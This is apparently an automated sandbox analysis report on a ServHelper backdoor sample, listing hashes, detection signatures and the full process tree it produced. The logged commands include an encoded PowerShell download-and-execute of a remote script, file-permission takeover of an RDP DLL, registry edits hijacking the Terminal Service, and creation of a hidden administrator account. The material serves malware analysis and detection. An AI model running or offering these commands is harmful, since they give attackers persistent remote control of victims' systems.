Analysis

  • max time kernel
    148s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01/02/2022, 00:09

General

  • Target

    878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe

  • Size

    4.5MB

  • MD5

    9ff7912602cfde4249eeffb1b8c1c10a

  • SHA1

    89326801da83ca97b684f39a92885042c038c0fc

  • SHA256

    878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb

  • SHA512

    bf2e70dbdd9c7bcba67a38ec7cb765b2269ad868fad0ad2cd26e59dafb7c1c33738d466e7a30dbcd583f2746ca60ef32263d1b2543abe634aeb023bec6cd3617

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe
    "C:\Users\Admin\AppData\Local\Temp\878c2cdccd93c49e71955beae55dd32f5398594c95112878cd4f63d04fa47cdb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gzmjtvat.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6C79.tmp"
          4⤵
            PID:1812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1484
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1676
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1668
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1168
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:916
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1996
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1872
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1536
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2040
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1840
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1236
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1492
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1768
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1300
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1948
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1836
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1148
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1612
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:552
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1332
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:884
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:892
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1524
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:912
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:588
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:112
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:808
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc OLNXNVnW /add
                                  1⤵
                                    PID:1408
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc OLNXNVnW /add
                                      2⤵
                                        PID:1576
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc OLNXNVnW /add
                                          3⤵
                                            PID:652
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1748
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:392
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1032
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                              1⤵
                                                PID:1872
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                  2⤵
                                                    PID:1960
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                      3⤵
                                                        PID:1800
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1492
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:852
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1768
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc OLNXNVnW
                                                          1⤵
                                                            PID:1636
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc OLNXNVnW
                                                              2⤵
                                                                PID:1716
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc OLNXNVnW
                                                                  3⤵
                                                                    PID:1824
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:960
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:944
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:392
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1828
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1356
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1756
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1640

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1072-58-0x0000000041197000-0x0000000041198000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1072-56-0x0000000041194000-0x0000000041196000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1072-54-0x00000000414C0000-0x0000000041770000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1072-55-0x0000000041192000-0x0000000041194000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1072-57-0x0000000041196000-0x0000000041197000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1312-62-0x0000000002742000-0x0000000002744000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1312-73-0x000000000276D000-0x000000000276E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1312-59-0x000007FEFBEE1000-0x000007FEFBEE3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1312-61-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1312-65-0x000000000274B000-0x000000000276A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1312-63-0x0000000002744000-0x0000000002747000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1312-60-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1484-97-0x0000000002847000-0x0000000002848000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1484-94-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1484-100-0x000000000284C000-0x000000000286B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1484-98-0x0000000002844000-0x0000000002847000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1484-99-0x000000001B860000-0x000000001BB5F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1484-96-0x0000000002842000-0x0000000002844000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1484-95-0x0000000002840000-0x0000000002842000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1620-87-0x0000000002527000-0x0000000002528000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1620-89-0x0000000002522000-0x0000000002524000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1620-91-0x0000000002524000-0x0000000002527000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1620-90-0x000000000252C000-0x000000000254B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1620-88-0x000000001B7D0000-0x000000001BACF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1620-86-0x0000000002520000-0x0000000002522000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1620-85-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1640-106-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1640-110-0x000000000129B000-0x00000000012BA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1640-109-0x0000000001294000-0x0000000001297000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1640-107-0x0000000001290000-0x0000000001292000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1640-108-0x0000000001292000-0x0000000001294000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1976-80-0x0000000002414000-0x0000000002417000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1976-76-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1976-77-0x0000000002410000-0x0000000002412000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1976-78-0x0000000002412000-0x0000000002414000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1976-79-0x0000000002417000-0x0000000002418000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1976-82-0x000000000241C000-0x000000000243B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1976-81-0x000000001B8F0000-0x000000001BBEF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB